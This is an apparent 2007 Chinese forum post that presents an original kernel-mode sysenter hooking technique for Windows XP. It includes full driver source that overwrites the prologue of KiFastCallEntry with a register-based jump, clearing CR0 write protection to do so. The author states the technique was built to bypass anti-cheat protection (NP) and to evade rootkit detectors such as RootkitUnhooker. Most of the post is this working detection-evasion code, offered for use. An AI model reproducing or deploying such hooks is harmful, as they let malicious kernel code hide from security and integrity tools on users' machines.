另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)

標 題: 【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)
作 者: 墮落天才
時 間: 2007-04-14,11:09
鏈 接: http://bbs.pediy.com/showthread.php?t=42705

*****************************************************************************
*標題:【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)  *
*作者:墮落天才                                                              *
*日期:2007年4月14號                                                         *
*****************************************************************************

    先廢話,當初是爲了繞開NP對sysenter保護而想出來的,後來發現連RootkitUnhooker都繞了.

    什麼是sysenter hook我也不羅唆了,一般的攔截方法就是通過rdmsr wrmsr 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現的.這種方法使用方便,但檢測也很容易.
    這裏介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址裏面寫跳轉代碼來實現的,這實際上跟一般的函數頭inline hook一樣.這樣rootkit檢測工具就不會認爲sysenter已經改變(實際上也是沒變).
    一般的rootkit檢測工具檢測函數inline hook是通過檢測長跳轉指令0xE9的來判斷跳轉距離是不是超出函數所在的模塊範圍來確定的.但是實現跳轉我們也可以藉助寄存器或變量(用變量跳轉需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,這個絕大多數rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).

    由於我們已經改變了KiFastCall函數頭,所以我們只能把原來的函數頭代碼放到另外一個地方執行(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),然後再跳轉回來.這裏使用了"三級跳",大概是這個樣子.
    sysenter->KiFastCall
             JMP -> MyKiFastCall(這裏進行攔截或什麼的)
                    JMP -> KiFastCall head code (這裏執行原來KiFastCall函數頭代碼)
                           JMP -> KiFastCall + N(已經執行指令長度)
///////////////////////////////////////////////////////////////////////////////////////////////////  
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"

ULONG uSysenter;           //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這裏
ULONG i;                   //記錄服務ID
__declspec(naked) void MyKiFastCallEntry(void)
{
  __asm{
            pop  edi     //因爲用到了edi來跳轉 這裏恢復
             mov  i, eax  //得到服務ID
  }
  __asm{  
           pushad
           push fs
             push 0x30
            pop fs
  }
  
  DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在

  __asm{
             pop fs
             popad    
    jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼 
  }
  
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{    
  __asm{
    cli
             mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復

  __asm{
    mov  eax,cr0
            or   eax,10000h
    mov  cr0,eax
    sti
  }
  ExFreePool(pMovedSysenterCode); // 釋放分配的內存
  DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////

VOID HookSysenter()
{
  UCHAR  cHookCode[8] = { 0x57,          //push edi       第一跳,從KiFastCall跳到MyKiFastCallEntry.並繞過rootkit檢測工具檢測
                          0xBF,0,0,0,0,  //mov  edi,0000
                          0xFF,0xE7};    //jmp  edi

  UCHAR  JmpCode[]={0xE9,0,0,0,0};       //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N

  int    nCopyLen = 0;
  int    nPos = 0;

  __asm{
          mov ecx,0x176
            rdmsr
    mov uSysenter,eax  //得到KiFastCallEntry地址
  }
  DbgPrint("sysenter:0x%08X",uSysenter);

  nPos = uSysenter;
   while(nCopyLen<8){ //我們要改寫的函數頭至少需要8字節 這裏計算實際需要COPY的代碼長度 因爲我們不能把一條完整的指令打斷
    nCopyLen += GetOpCodeSize((PVOID)nPos);  //參考1
    nPos = uSysenter + nCopyLen;
  }
  
  DbgPrint("copy code lenght:%d",nCopyLen);

  pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);

  memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼

  *((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址

  memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存
  memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去

  *((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
  
  DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
  DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);

  __asm{
    cli
            mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭

  __asm{
    mov  eax,cr0
            or   eax,10000h
    mov  cr0,eax
    sti
  }

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{

  DbgPrint("Welcome to sysenterhook.sys");
  DriverObject->DriverUnload = OnUnload;
  HookSysenter();
  return STATUS_SUCCESS;
}    
/////////////////////////////////////////////////////////////////////////////////////////////////// 
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過 

同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪裏改變
*************************************************************************************************
參考1, 海風月影,【分享】西褲哥的 Hook Api Lib 0.2 For C 
 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章